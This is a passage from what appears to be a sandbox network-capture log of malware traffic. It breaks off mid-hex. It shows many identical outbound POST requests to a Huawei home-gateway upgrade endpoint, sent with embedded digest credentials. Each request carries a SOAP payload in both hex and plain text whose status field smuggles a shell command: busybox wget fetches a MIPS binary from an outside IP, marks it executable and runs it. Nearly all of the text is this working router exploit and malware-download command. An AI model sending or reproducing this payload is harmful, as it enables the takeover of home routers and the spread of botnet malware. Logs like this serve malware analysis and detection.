2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:46.276438951 CET	1731	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:18.272123098 CET	2607	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.23	60756	156.230.23.116	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:15.880510092 CET	916	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:17.512413025 CET	950	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:19.432107925 CET	1005	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:23.239532948 CET	1114	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:30.918514013 CET	1317	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:46.276438951 CET	1731	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:18.272123098 CET	2607	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 